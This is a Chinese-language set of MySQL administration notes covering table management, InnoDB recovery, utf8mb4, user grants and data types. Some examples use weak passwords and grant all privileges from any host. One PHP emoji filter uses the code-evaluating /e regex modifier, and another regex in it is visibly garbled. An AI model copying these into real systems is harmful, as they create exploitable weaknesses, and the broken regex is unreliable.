mysql> alter table wp_posts engine=innodb; // 修改为innodb
mysql> rename table MyClass to YouClass; // 重命名数据表
mysql> drop database name // 删除数据库
mysql> drop table tableName // 删除数据表
mysql> drop table tbname1,tablename2; // 删除多个表,表间有外键关联时会报错,忽略,执行两次即可全部删除
mysql> truncate tableName // 清空数据表
mysql> delete from tableName // 删除数据表的所有数据
mysql> show table status\G // 获取当前数据库中所有表的信息
mysql> show table status like 'tableName' \G
查看所有表和表注释
select TABLE_NAME,TABLE_COMMENT from INFORMATION_SCHEMA.Tables where table_schema = '某数据库名称'
查看所有字段和字段注释
select COLUMN_NAME,COLUMN_COMMENT from INFORMATION_SCHEMA.Columns where table_name = '表名' and table_schema='数据库名'
select COLUMN_NAME,COLUMN_KEY,EXTRA,COLUMN_TYPE,IS_NULLABLE,COLUMN_DEFAULT,COLUMN_COMMENT from information_schema.columns where table_name='user';
powerdesigner数据库建模工具
SET @rownum = 0;
SELECT '序号', '列名', '类类', '长度', '是否为空', '列的描述' FROM DUAL UNION SELECT @rownum :=@rownum + 1 AS 序号, COLUMN_NAME AS 列名, COLUMN_TYPE AS 类型, CHARACTER_MAXIMUM_LENGTH AS 长度, ( CASE WHEN IS_NULLABLE = 'YES' THEN '是' ELSE '否' END ) AS 是否为空, COLUMN_COMMENT AS 列的描述 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'user'
SET @rownum = 0;
SELECT @rownum :=@rownum + 1 AS 序号, t.table_name AS 表名, t.TABLE_COMMENT AS 描述 FROM information_schema.TABLES t WHERE t.TABLE_SCHEMA = 'tp' ORDER BY t.TABLE_NAME;
查看表当前auto_increment
select auto_increment from information_schema.tables where table_schema='db name' and table_name='table name';
修改表auto_increment
alter table tablename auto_increment=NUMBER;
$res = \think\Db::query("SHOW TABLES LIKE 'fa_admin'");
var_export($res); // array ( 0 => array ( 'Tables_in_pxj_dev_0731bai_ (fa_admin)' => 'fa_admin', ), )
$res = \think\Db::query("SHOW TABLES LIKE 'fa_notexists'");
var_export($res); // array ()
$res = \think\Db::query("SHOW INDEX FROM fa_notexists");
var_export($res); // SQLSTATE[42S02]: Base table or view not found: 1146 Table 'pxj_dev_0731bai_.fa_notexists' doesn't exist
$res = \think\Db::query("SHOW COLUMNS FROM fa_admin");
var_export($res);
array (
0 => array ( 'Field' => 'id', 'Type' => 'int(10) unsigned', 'Null' => 'NO', 'Key' => 'PRI', 'Default' => NULL, 'Extra' => 'auto_increment', ),
1 => array ( 'Field' => 'username', 'Type' => 'varchar(20)', 'Null' => 'YES', 'Key' => 'UNI', 'Default' => '', 'Extra' => '', ),
2 => array ( 'Field' => 'nickname', 'Type' => 'varchar(50)', 'Null' => 'YES', 'Key' => '', 'Default' => '', 'Extra' => '', ),
3 => array ( 'Field' => 'password', 'Type' => 'varchar(32)', 'Null' => 'YES', 'Key' => '', 'Default' => '', 'Extra' => '', ),
5 => array ( 'Field' => 'avatar', 'Type' => 'varchar(255)', 'Null' => 'YES', 'Key' => '', 'Default' => '', 'Extra' => '', ),
7 => array ( 'Field' => 'loginfailure', 'Type' => 'tinyint(1) unsigned', 'Null' => 'NO', 'Key' => '', 'Default' => '0', 'Extra' => '', ),
8 => array ( 'Field' => 'logintime', 'Type' => 'int(10)', 'Null' => 'YES', 'Key' => '', 'Default' => NULL, 'Extra' => '', ),
9 => array ( 'Field' => 'loginip', 'Type' => 'varchar(50)', 'Null' => 'YES', 'Key' => '', 'Default' => NULL, 'Extra' => '', ),
10 => array ( 'Field' => 'createtime', 'Type' => 'int(10)', 'Null' => 'YES', 'Key' => '', 'Default' => NULL, 'Extra' => '', ),
11 => array ( 'Field' => 'updatetime', 'Type' => 'int(10)', 'Null' => 'YES', 'Key' => '', 'Default' => NULL, 'Extra' => '', ),
13 => array ( 'Field' => 'status', 'Type' => 'varchar(30)', 'Null' => 'NO', 'Key' => '', 'Default' => 'normal', 'Extra' => '', ),
)
$res = \think\Db::query("SHOW INDEX FROM fa_admin");
var_export($res);
array (
0 => array ( 'Table' => 'fa_admin', 'Non_unique' => 0, 'Key_name' => 'PRIMARY', 'Seq_in_index' => 1, 'Column_name' => 'id', 'Collation' => 'A', 'Cardinality' => 5, 'Sub_part' => NULL, 'Packed' => NULL, 'Null' => '', 'Index_type' => 'BTREE', 'Comment' => '', 'Index_comment' => '', ),
1 => array ( 'Table' => 'fa_admin', 'Non_unique' => 0, 'Key_name' => 'username', 'Seq_in_index' => 1, 'Column_name' => 'username', 'Collation' => 'A', 'Cardinality' => 5, 'Sub_part' => NULL, 'Packed' => NULL, 'Null' => 'YES', 'Index_type' => 'BTREE', 'Comment' => '', 'Index_comment' => '', ),
)
【 optimize优化表 】
对MySQL进行大量的增删改操作很容易产生一些占据空间的碎片,所以可能会出现删除很多数据后数据文件大小变化不大的现象。当然新插入的数据仍然会利用这些碎片,但过多的碎片对数据的插入操作是有一定影响的,此时可以通过optimize对表优化
为了更加直观的看到数据碎片,Mysql可以使用如下命令查看
show table status like 'table_name' // data_free选项代表数据碎片。
针对MySQL的不同数据库存储引擎,在optimize使用清除碎片,回收闲置的数据库空间,把分散存储(fragmented)的数据和索引重新挪到一起(defragmentation),对I/O速度有好处。优化之后无论是innodb还是myisam表都被收缩
optimize在对表进行操作的时候会加锁,所以不宜经常在程序中调用。
MyISAM存储引擎表优化命令
optimize table table1[,table2][,table3] // 同时优化多个表可以使用逗号分隔,优化后data_free值为0
对于myisam表,optimize table操作执行以下工作:
1.如果表含有删除的列、分列的列,optimize table会修复表
2.如果索引页没有排序,optimize table会将索引页进行排序
3.如果表的统计信息不是最新的,optimize table会更新索引信息
InnoDB存储引擎
InnoDB引擎的表分为独享表空间和同享表空间的表,可以通过show variables like 'innodb_file_per_table';来查看是否开启独享表空间。
开启了独享表空间是无法对表进行optimize操作的,如果操作会返回信息如Table does not support optimize, doing recreate + analyze instead,并不是说innodb不支持optimize table,因为对于innodb表,optimize table被映射成alter table ... force,重建表和更新索引统计信息并释放空间
repair table table1[,table2][,table3]
数据表修复
【 MySQL数据库页损坏,修复损坏页数据方案 innodb_force_recovery参数 】
有些时候MySQL数据库是单机,没有主从和高可用,如果宕机或其它异常情况导致ibd文件损坏,这时MySQL数据库实例无法启动了,而又需要导出MySQL数据库中关键数据,这时innodb_force_recovery参数能救命
innodb_force_recovery默认为0,innodb_force_recovery可以设置1到6。较大的值包括较小值所有功能,例如3包含1和2的所有功能。
设置innodb_force_recovery值等于或小于3,MySQL数据库的表是相对安全,此时仅丢失了损坏的单个页面上的某些数据。
设置成4或更大的值是非常危险的,此时可能会导致页数据永久损坏。
为保护数据,InnoDB会在innodb_force_recovery大于0时阻止INSERT,UPDATE或DELETE操作。innodb_force_recovery设置为4或更大时会将InnoDB置于只读模式。
下面来介绍一下innodb_force_recovery设置各种值的作用
innodb_force_recovery=1 ( SRV_FORCE_IGNORE_CORRUPT )
此时MySQL数据库即使检测到损坏的page也可以运行,可以尝试使SELECT * FROM tab跳过损坏的索引记录和页面,可以恢复没有损坏的业务数据。
innodb_force_recovery=2 ( SRV_FORCE_NO_BACKGROUND )
阻止master thread和任何purge threads运行。如果在purge操作期间发生崩溃,则此恢复值将阻止它。
innodb_force_recovery=3 ( SRV_FORCE_NO_TRX_UNDO )
在crash recovery之后不执行事务rollbacks。
innodb_force_recovery=4 ( SRV_FORCE_NO_IBUF_MERGE )
防止insert buffer合并操作,不计算tablestatistics。此时可能会永久损坏数据文件,需要删除并重新创建所有二级索引。
innodb_force_recovery=5 ( SRV_FORCE_NO_UNDO_LOG_SCAN )
启动数据库时不检查undo logs:InnoDB甚至将未完成的事务都视为已提交。此值可能会永久损坏数据文件。将InnoDB设置为只读。
innodb_force_recovery=6 ( SRV_FORCE_NO_LOG_REDO )
不进行与恢复有关的redo log前滚。此值可能会永久损坏数据文件。使数据库页面处于过时状态,从而可能导致 B 树和其他数据库结构遭受更多破坏。将InnoDB设置为只读。
创建模拟表
mysql> show create table t_test\G;
*************************** 1. row ***************************
Table: t_test
Create Table: CREATE TABLE `t_test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`k` int(12) unsigned NOT NULL DEFAULT '0',
`c` char(120) NOT NULL DEFAULT '',
`pad` char(60) NOT NULL DEFAULT '',
`paymont` double(10,2) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `k_1` (`k`)
) ENGINE=InnoDB AUTO_INCREMENT=10002 DEFAULT CHARSET=utf8 MAX_ROWS=1000000
1 row in set (0.00 sec)
模拟表的页损坏
要模拟t_test表页损坏可以简单通过vi工具在t_test.ibd文件开始行添加N个$就可以
重启MySQL服务
模拟损坏之后就重启MySQL数据库实例,同时看MySQL数据库错误日志
2020-09-01T12:58:25.207448Z 0 [Note] InnoDB: Loading buffer pool(s) from /u02/log/3308/iblog/ib_buffer_pool
2020-09-01T12:58:25.209575Z 0 [ERROR] InnoDB: Space ID in fsp header is 134217728, but in the page header it is 660067840.
2020-09-01T12:58:25.331762Z 0 [ERROR] [FATAL] InnoDB: Tablespace id is 48 in the data dictionary but in file ./sbtest/t_test.ibd it is 18446744073709551615!
2020-09-01 20:58:25 0x7ffb8d022700 InnoDB: Assertion failure in thread 140718379247360 in file ut0ut.cc line 942
InnoDB: We intentionally generate a memory trap.
InnoDB: Submit a detailed bug report to http://bugs.mysql.com.
InnoDB: If you get repeated assertion failures or crashes, even
InnoDB: immediately after the mysqld startup, there may be
InnoDB: corruption in the InnoDB tablespace. Please refer to
InnoDB: http://dev.mysql.com/doc/refman/5.7/en/forcing-innodb-recovery.html
InnoDB: about forcing recovery.
此时数据库实例已经无法正常启动了,原因是因为t_test.ibd文件头部记录的Tablespace id与数据字典不一致
设置innodb_force_recovery
因为t_test.ibd文件头部记录的Tablespace id与数据字典不一致,只能在my.cnf文件中添加innodb_force_recovery=4,然后启动MySQL数据库实例
mysql> show tables;
+------------------+
| Tables_in_sbtest |
+------------------+
| sbtest1 |
| t_pay_test |
| t_test |
+------------------+
3 rows in set (0.00 sec)
mysql> select * from t_test;
ERROR 1812 (HY000): Tablespace is missing for table `sbtest`.`t_test`.
mysql>
mysql> drop table t_test;
Query OK, 0 rows affected (0.02 sec)
由于此时已经无法识别t_test.ibd文件了,此时只能drop掉t_test表了。
如果只是损坏了页数据,可以用下面的sql语句恢复业务数据
insert ignore into t_test_recovery select * from t_test limit 5;
insert ignore into t_test_recovery select * from t_test limit 10;
【 utf8mb4与emoji表情 】
MYSQL5.5之前UTF8编码只支持1-3个字节,只支持BMP这部分的unicode编码区
从MYSQL5.5开始可支持4个字节UTF编码utf8mb4,一个字符最多能有4字节,所以能支持更多的字符集。
utf8mb4兼容utf8,且比utf8能表示更多的字符
解决emoji表情问题
utf-8编码可能2个字节、3个字节、4个字节的字符,但MySQL的utf8编码只支持3字节的数据,而移动端的表情数据是4个字节的字符。如果直接往采用utf-8编码的数据库中插入表情数据将报SQL异常
utf8mb4编码是utf8编码的超集,兼容utf8,并且能存储4字节的表情字符。
采用utf8mb4编码的好处是: 存储与获取数据的时候不用再考虑表情字符的编码与解码问题
emoji表情的话mysql的utf8不支持,需要修改设置为utf8mb4才能支持
ALTER TABLE table_name CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
ALTER TABLE etape_prospection CHARSET=utf8;
CREATE DATABASE testdb charset utf8mb4 COLLATE utf8mb4_unicode_ci;
grant select,insert,update on testdb.* to test@'%' identified by "test";
服务器端: 修改数据库配置文件/etc/my.cnf
[client]
default-character-set = utf8mb4
[mysql]
default-character-set = utf8mb4
[mysqld]
character-set-client-handshake = FALSE
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
init_connect='SET NAMES utf8mb4'
php去除昵称名字中emoji
public function filterEmoji($str) {
$str = preg_replace_callback('/./u', function (array $match) {
return strlen($match[0]) >= 4 ? '' : $match[0];
}, $str);
return $str;
}
function emoji_filter($str) {
if(!$str) return '';
$name = $str;
$name = preg_replace('/\xEE[\x80-\xBF][\x80-\xBF]|\xEF[\x81-\x83][\x80-\xBF]/', '', $name);
$name = preg_replace('/xE0[x80-x9F][x80-xBF]‘.‘|xED[xA0-xBF][x80-xBF]/S','?', $name);
return json_decode(preg_replace("#(\\\ud[0-9a-f]{3})#ie","",json_encode($name)));
}
【 Mysql中文汉字转拼音的实现,每个汉字转换全拼 】
php汉字转拼音
mysql用户和权限管理
MySQL默认有个root用户,但这个用户权限太大,一般只在管理数据库时候才用。如果在项目中要连接MySQL数据库,建议新建一个权限较小的用户来连接
MySQL服务器通过MySQL权限表来控制用户对数据库的访问,MySQL权限表存放在mysql数据库里,由mysql_install_db脚本初始化。这些MySQL权限表分别user,db,table_priv,columns_priv和host:
user权限表: 记录允许连接到服务器的用户帐号信息,里面的权限是全局级的。
db权限表: 记录各个帐号在各个数据库上的操作权限。
table_priv权限表: 记录数据表级的操作权限。
columns_priv权限表: 记录数据列级的操作权限。
host权限表: 配合db权限表对给定主机上数据库级操作权限作更细致的控制。这个权限表不受GRANT和REVOKE语句的影响。
实际上都是在操作mysql数据库中的user表,可以用如下命令查看相应用户及对应的host:
select user,host from mysql.user;
mysql5.7改变了默认的强制更新密码策略,root密码过期之后无法使用mysql
mysql> set password = password('newpassword'); // 更新密码
mysql> SET PASSWORD = '*0D3CED9BEC10A777AEC23CCC353A8C08A633045E';
mysql> alter user 'root' password expire never; // 设置永不过期
mysql> flush privileges; // 刷新
flush privileges;
在操作mysql库做用户的增删修改的时候,操作完毕的时候最好使用flush privileges命令刷新一下权限,否则可能会修改不生效
【 127.0.0.1和localhost的区别 】
有的时间会发现使用localhost连接不了,但是改成127.0.0.1即可了连接了
mysql -h 127.0.0.1的时候使用TCP/IP连接,mysql server认为该连接来自于127.0.0.1或"localhost.localdomain"
mysql -h localhost的时候是不使用TCP/IP连接的,而使用Unix socket,此时mysql server则认为该client是来自"localhost"
这是linux套接字网络的特性,win平台不会有这个问题
解决方法
在my.cnf的[mysql]区段里添加
protocol=tcp
保存重启MySQL即可
【 GRANT语法 】
GRANT privileges (columns)
ON what
TO user IDENTIFIED BY "password"
WITH GRANT OPTION
1、用户账户包括"username"和"host"两部分,后者表示该用户被允许从何地接入
tom@'%' 表示任何地址,默认可以省略。还可以是 "tom@192.168.1.%"、"tom@%.abc.com" 等。
2、数据库格式为 db.table,可以是 "test.*" 或 "*.*",前者表示test数据库的所有表,后者表示所有数据库的所有表。
3、子句"WITH GRANT OPTION" 表示该用户可以为其他用户分配权限。
mysql> grant select on 数据库.* to 用户名@登录主机 identified by "密码" // 新增用户
mysql> grant select on 数据库.* to 用户名@登录主机 identified by "密码" with grant option;
mysql> grant select,insert,update,delete on *.* to username@% Identified by "abc"; //可以在任何主机上登录
mysql> grant select,insert,update,delete on mydb.* to username@localhost identified by "abc";
//限制只能在本地主机即mysql数据库所在的那台主机登录,安全
mysql> grant all on blog.* to "berlin"@"localhost" identified by "berlin";
//管理员授权,允许密码为berlin的用户管理blog数据库,已存在的账户不要设置identified by "berlin"
mysql> set password for '数据库名'@'localhost' = old_password('密码');
查看当前登录用户
select current_user();
一、创建用户:
cmd> create user 'username'@'host' identified by 'password';
username - 将创建的用户名
host - 指定该用户在哪个主机上可以登陆,本地用户可用localhost,如果想让该用户可以从任意远程主机登陆,可以使用通配符%
'%'表示所有情况都能访问,匹配所有主机
'localhost'表示本机才能访问,localhost不会被解析成IP地址,直接通过UNIXsocket连接
127.0.0.1 会通过TCP/IP协议连接,并且只能在本机访问;
::1就是兼容支持ipv6的,表示同ipv4的127.0.0.1
'111.222.33.44'表示指定ip才能访问
password - 该用户的登陆密码,如果密码为空则该用户可以不需要密码登陆服务器
批量创建
mysql> create user 'tom1' identified by 'tom1' ,'tom2' identified by 'tom2';
例子:
create user 'dog'@'localhost' identified by '123456';
create user 'pig'@'192.168.1.101_' idendified by '123456';
create user 'pig'@'%' identified by '123456';
create user 'pig'@'%' identified by '';
create user 'pig'@'%';
二、授权: 新建用户无任何权限
cmd> grant privileges on databasename.tablename to 'username'@'host' identified by 'password';
cmd> grant all on databasename.tablename to 'username'@'host' identified by 'password';
privileges
用户的操作权限,如select,insert,update等,如果要授予所的权限则使用all privileges,关键字privileges可以省略
databasename
数据库名,tablename-表名,如果要授予该用户对所有数据库和表的相应操作权限则可用*表示,如*.*
如果此时发现给的权限太大,只是想授予它在某个数据库上的权限,那么需要切换到root用户撤销刚才的权限,重新授权:
revoke all privileges on *.* from 'username'@'localhost';
grant all privileges on wordpress.* to 'username'@'localhost' identified by 'password';
例子:
grant select,insert on test.user to 'pig'@'%';
grant all on *.* to 'pig'@'%';
注意:用以上命令授权的用户不能给其它用户授权,如果想让该用户可以授权,用以下命令:
grant privileges on databasename.tablename to 'username'@'host' with grant option;
每当调整权限后,通常需要执行以下语句刷新权限:
flush privileges;
普通数据用户,查询、插入、更新、删除 数据库中所有表数据的权利。
grant select,insert,update,delete on testdb.* to common_user@'%'
数据库开发人员,创建表、索引、视图、存储过程、函数。。。等权限。
grant 创建、修改、删除 MySQL 数据表结构权限。
grant create on testdb.* to developer@'192.168.0.%';
grant alter on testdb.* to developer@'192.168.0.%';
grant drop on testdb.* to developer@'192.168.0.%';
grant 操作 MySQL 外键权限。
grant references on testdb.* to developer@'192.168.0.%';
grant 操作 MySQL 临时表权限。
grant create temporary tables on testdb.* to developer@'192.168.0.%';
grant 操作 MySQL 索引权限。
grant index on testdb.* to developer@'192.168.0.%';
grant 操作 MySQL 视图、查看视图源代码 权限。
grant create view on testdb.* to developer@'192.168.0.%';
grant show view on testdb.* to developer@'192.168.0.%';
grant 操作 MySQL 存储过程、函数 权限。
grant create routine on testdb.* to developer@'192.168.0.%'; -- now,can show procedure status
grant alter routine on testdb.* to developer@'192.168.0.%'; -- now,you can drop a procedure
grant execute on testdb.* to developer@'192.168.0.%';
普通DBA管理某个MySQL数据库的权限
grant all privileges on testdb to dba@'localhost' // 其中关键字"privileges"可以省略。
高级DBA管理MySQL中所有数据库的权限
grant all on *.* to dba@'localhost'
MySQL grant权限分别可以作用在多个层次上。
1.在整个MySQL服务器上:
grant select on *.* to dba@localhost; -- dba 可以查询MySQL中所有数据库中的表。
grant all on *.* to dba@localhost; -- dba 可以管理MySQL中的所有数据库
2.在单个数据库上:
grant select on testdb.* to dba@localhost; -- dba 可以查询testdb中的表。
3.在单个数据表上:
grant select,insert,update,delete on testdb.orders to dba@localhost;
4.在表中的列上:
grant select(id,se,rank) on testdb.apache_log to dba@localhost;
5.在存储过程、函数上:
grant execute on procedure testdb.pr_add to 'dba'@'localhost'
grant execute on function testdb.fn_add to 'dba'@'localhost'
三、设置与更改用户密码
命令:set password for 'username'@'host' = password('newpassword');
如果是当前登陆用户用set password = password("newpassword");
mysql> set password for 'pig'@'%' = password("123456");
mysql> flush privileges;
四、撤销用户权限
命令: revoke privilege on databasename.tablename from 'username'@'host';
参数privilege,databasename,tablename - 同授权部分.
例子:
mysql> revoke all on *.* from 'pig'@'%';
mysql> revoke select on *.* from 'pig'@'%';
mysql> flush privileges;
假如在给用户'pig'@'%'授权的时候是这样的或类似的:grant select on test.user to 'pig'@'%',则在使用revoke select on *.* from 'pig'@'%';命令并不能撤销该用户对test数据库中user表的select操作
相反,如果授权使用的是grant select on *.* to 'pig'@'%';则revoke select on test.user from 'pig'@'%';命令也不能撤销该用户对test数据库中user表的select权限
五、删除用户
mysql> drop user 'username'@'host';
mysql> flush privileges;
六、查看用户权限
show grants for 'pig'@'%';
mysql中的操作权限列表:
alter: allows use of alter table,修改表和索引
alter routine: alters or drops stored routines.
create: allows use of create table,创建数据库和表
create routine: creates stored routines.
create temporarytable: allows use of create temporary table.
create user: allows use of create user,drop user,rename user,and revoke all privileges.
create view: allows use of create view.
delete: allows use of delete,删除表中已有的记录
drop: allows use of drop table,删除数据库和表
execute: allows the user to run stored routines.
file: allows use of select... into outfile and load data infile,读或写服务器上的文件
index: allows use of create index and drop index,创建或抛弃索引
insert: allows use of insert,向表中插入新行
lock tables: allows use of lock tables on tables for which the user also has select privileges.
process: allows use of show full processlist,查看服务器中执行的线程信息或杀死线程
reload: allows use of flush,重载授权表或清空日志、主机缓存或表缓存
replication: allows the user to ask where slave or master
client: servers are.
replication slave needed for replication slaves.
select: allows use of select,检索表中的记录
show databases: allows use of show databases.
show view: allows use of show create view.
shutdown: allows use of mysqladmin shutdown,关闭服务器
super: allows use of change master,kill,purge master logs,and set global sql statements. allows mysqladmin debug command. allows one extra connection to be made if maximum connections are reached.
update: allows use of update,修改现存表记录
usage: allows connection without any specific privileges,特殊的"无权限"权限
ALL: 所有权限,ALL PRIVILEGES同义词。
REFERENCE: 未用。
MySQL数据类型,unsigned时插入负数会变成0,MySQL不区分大小写
(1)数字比字符串处理的速度要快
(2)当需要存储一个固定的长度的值(身份证,手机号)并且长度小于50个字节的时候可以选用char(n)
(3)当要存储大于50个字节长度的值时候选用varchar(n)
(4)当存储时间的时候datatime>int>char>varchar,但int是有时间范围限制的,只能存到2038年
(5)float和decimal的选择,需要存储一个精度很高的值的时候就要存decimal,float只能保存到小数点后7位
1个字节=8位二进制数,每个类型的取值范围也就能够知道,如TINYINT占用1个字节也就是8位,2的8次方减1等于255,也就是说如果代表没符号的整数,该取值范围为0~255,如果是有符号的,最高位为符号号位,也就是2的7次方减1,也就是127,取值范围为-128~127,为什么需要减1,这个问题就需要考虑临界值的问题了。而考虑临界值问题又有需要讨论原码补码反码的知识
【 enum(value1,value2, ect) 枚举类型 】
ENUM是ENUMERATED列表的缩写,ENUM是一个字符串对象,其值通常选自一个允许值列表中,该列表在表创建时的列规格说明中被明确地列举,不能插入别的值,否则报错,枚举最大可以有65535个成员值
限定值的取值范围,比如性别(男,女,未知)等
enm ENUM('first','second','third'),
sex enum('男','女','保密') NOT NULL DEFAULT '保密', # 字符串对象,允许值只能是填入字符串
不建议使用ENUM,使用TINYINT来代替;如表字段status使用的是TINYINT类型,增加新的ENUM值要做DDL操作
避免使用ENUM数据类型
修改ENUM值会导致表结构的修改
ENUM的ORDER BY需要额外操作,效率低
禁止使用数值作为ENUM的枚举值
在下列某些情况下值也可以是空串("")或NULL:
1、如果将一个无效值插入一个ENUM(即一个不在允许值列表中的字符串),空字符串将作为一个特殊的错误值被插入。事实上这个字符串有别于普通的空字符串,因为这个字符串有个数字索引值为0
2、如果一个ENUM被声明为NULL,NULL也是该列的一个合法值,并且该列的缺省值也将为NULL。如果一个ENUM被声明为NOT NULL,该列的缺省值将是该列表所允许值的第一个成员。
每个枚举值均有一个索引值:
1、在列说明中列表值所允许的成员值被从1开始编号,不是0
2、空字符串错误值的索引值为0,这就意味着可以使用SELECT * FROM tbl_name WHERE enum_col=0;语句找出被赋于无效ENUM值的记录行。
3、NULL值的索引值为NULL。
指定为ENUM("one", "two", "three")的一个列,可以有下面所显示的任一值,每个值的索引值也如下所示:
NULL NULL
"" 0
"one" 1
"two" 2
"three" 3
从MySQL 3.23.51开始,当表被创建时ENUM值尾部的空格将会自动删除。
当为一个ENUM列赋值时字母的大小写是无关紧要的,然而以后从列中检索出来的值的大小写却是匹配于创建表时所指定的允许值。
如果在一个数字语境中检索一个ENUM,列值的索引值将被返回,例如可以像这样使用数字值检索一个ENUM列:
mysql> SELECT enum_col+0 FROM tbl_name;
如果将一个数字存储到一个ENUM中,数字被当作为一个索引值,并且存储的值是该索引值所对应的枚举成员,在一个ENUM字符串中存储数字是不明智的,因为它可能会打乱思维。
ENUM值依照列规格说明中的列表顺序进行排序,换句话说ENUM值依照它们的索引号排序。对于ENUM("a", "b") "a" 排在 "b" 后,但是对于 ENUM("b", "a") , "b" 却排在 "a" 之前。空字符串排在非空字符串前,NULL值排在其它所有的枚举值前。为了防止意想不到的结果,建议依照字母的顺序定义ENUM列表。也可以通过使用GROUP BY CONCAT(col)来确定该以字母顺序排序而不是以索引值。
如果希望得到一个ENUM列的所有可能值,可以使用SHOW COLUMNS FROM table_name LIKE enum_colum
enum类型的字段对于0与'0'有非常大的区别,如果用0当角标做操作,因它没有这个角标,所要会报错;如果使用'0'这个值去取枚举值,并做插入操作会成功,但是插入的结果是一个"空",不是null
enum类型对于php等弱语言类型的支持很差,弱语言类型打引号和不打引号的值可能是同一类型,但对mysql中enum类型的字段来说就不一定是一回事了
总之不要拿mysql的enum类型取存一些数字;如果一定要使用这个字段去存数字,请把这个字段定义为int
【 set 集合类型 】
SET与ENUM相似,但SET可拥有最多64个列表项目,并可存放不止一个choice
1、插入SET字段中的值如果有重复则会自动删除重复的值
2、插入SET字段中的值会按顺序排列,排列规则就是按照SET中的值的排列优先顺序
3、如果插入了不属于SET中的值就会报错
CREATE TABLE tmp( s SET('a','b','c','d') );
INSERT INTO tmp VALUES('a'),('a,b,a'),('c,a,d');
SELECT * FROM tmp;
【 boolean类型 】
mysql没有boolean类型,它的boolean值是用数字0和1来表示的,mysql把boolean替换成tinyint(1),也就是说mysql把boolean=tinyInt了
MySQL里有四个常量: true、false、TRUE、FALSE分别代表1、0、1、0
create table xs ( id int primary key, bl boolean )
mysql> select true,false,TRUE,FALSE;
+------+-------+------+-------+
| TRUE | FALSE | TRUE | FALSE |
+------+-------+------+-------+
| 1 | 0 | 1 | 0 |
+------+-------+------+-------+
mysql> alter table test add isOk boolean;
mysql> desc test;
+-------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| isOk | tinyint(1) | YES | | NULL | |
+-------+-------------+------+-----+---------+----------------+
mysql> insert into test(isOk) values(true);
mysql> select isOk from test ; // 1
mysql> CREATE TABLE tasks (
id INT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(255) NOT NULL,
completed BOOLEAN
);
mysql> INSERT INTO tasks(title,completed) VALUES('Master MySQL Boolean type',true), ('Design database table',false);
mysql> SELECT id, title, completed FROM tasks;
+----+---------------------------+-----------+
| id | title | completed |
+----+---------------------------+-----------+
| 1 | Master MySQL Boolean type | 1 |
| 2 | Design database table | 0 |
+----+---------------------------+-----------+
因为Boolean类型是TINYINT(1)的同义词,所以可以在布尔列中插入1和0以外的值
mysql> INSERT INTO tasks(title,completed) VALUES('Test Boolean with a number',2);
mysql> SELECT id, title, completed FROM tasks;
+----+----------------------------+-----------+
| id | title | completed |
+----+----------------------------+-----------+
| 1 | Master MySQL Boolean type | 1 |
| 2 | Design database table | 0 |
| 3 | Test Boolean with a number | 2 |
+----+----------------------------+-----------+
如果要将结果输出为true和false,可以使用IF函数
mysql> SELECT id, title, IF(completed, 'true', 'false') completed FROM tasks;
+----+----------------------------+-----------+
| id | title | completed |
+----+----------------------------+-----------+
| 1 | Master MySQL Boolean type | true |
| 2 | Design database table | false |
| 3 | Test Boolean with a number | true |
+----+----------------------------+-----------+
在tasks表中获取所有完成的任务:
mysql> SELECT id, title, completed FROM tasks WHERE completed = TRUE;
+----+---------------------------+-----------+
| id | title | completed |
+----+---------------------------+-----------+
| 1 | Master MySQL Boolean type | 1 |
+----+---------------------------+-----------+
它只返回completed列的值为1的任务。要解决它,必须使用IS运算符,使用IS运算符来测试一个与布尔值的值
mysql> SELECT id, title, completed FROM tasks WHERE completed IS TRUE;
+----+----------------------------+-----------+
| id | title | completed |
+----+----------------------------+-----------+
| 1 | Master MySQL Boolean type | 1 |
| 3 | Test Boolean with a number | 2 |
+----+----------------------------+-----------+
要获得待处理(未完成)的任务,请使用IS FALSE或IS NOT TRUE,如下所示:
mysql> SELECT id, title, completed FROM tasks WHERE completed IS NOT TRUE;
+----+-----------------------+-----------+
| id | title | completed |
+----+-----------------------+-----------+
| 2 | Design database table | 0 |
+----+-----------------------+-----------+
【 数值类型 】
尽量使用数字型字段,若只含数值信息的字段尽量不要设计为字符型,这会降低查询和连接的性能,并会增加存储开销。这是因为引擎在处理查询和连接时会逐个比较字符串中每一个字符,而对于数字型而言只需要比较一次就够了,数值型字段的比较比字符串的比较效率高得多,所以字段类型尽量使用最小、最简单的数据类型,如IP地址可以使用int类型
默认是有符号,可以为负数;整型字段插入浮点数会四舍五入
• tinyint(size) 1字节,小整数,(-128~127),非负unsigned时(0,255) tinyint(1) --> bool, tinyint(3)
• smallint(size) 2字节,大整型,(-32768~32767),非负(0,65535) smallint(3)
• mediumint(size) 3字节,大整型,(-8388608,8388607),非负(0,16777215)
• int(size) 无论size等于多少int永远占4字节,大整型,size表示显示宽度,指定能显示的数值中数字的个数,不足的用0补足,(-2147483648,2147483647),非负(0,4294967295)
• bigint(size) 8字节,极大整数值,仅支持整数,size参数规定数字的最大值,(-9,223,372,036,854,775,808,9 223 372 036 854 775 807),非负(0,18 446 744 073 709 551 615)
int存储时间最大值
echo date('Y-m-d H:i:s', 2147483647); // 2038-01-19 11:14:07
否则报错SQLSTATE[22003]: Numeric value out of range: 1264 Out of range value for column 'vip_expire' at row 1
对于整数的存储,数据量较大时建议区分开TINYINT/INT/BIGINT的选择
能用SMALLINT或tinyint的情况就不用int,使用SMALLINT或tinyint能节约存储空间,如字段stu_score就使用的是SMALLINT
将IP地址存储为无符号整型,一个INT类型只占用固定大小的4个字节的空间,因为IP地址使用32位unsigned integer。
INT(10)、INT(6)数字表示的是该数据类型指定的显示宽度,指定能够显示的数值中数字的个数。显示宽度和数据类型的取值范围是无关的,显示宽度只是指明MySQL最大可能显示的数字个数,比如age INT(6)字段,显示宽度为6,但如果插入的数据大于6,达到了8,6666 6666也没关系,只要插入的数值的位数不超过该类型整数的取值范围就行,如果插入的数值长度是4或3,数值的位数小于指定的宽度,后面的位数就会由空格填空,5555插入age字段,存的就是"5555 "后面用空格补齐。
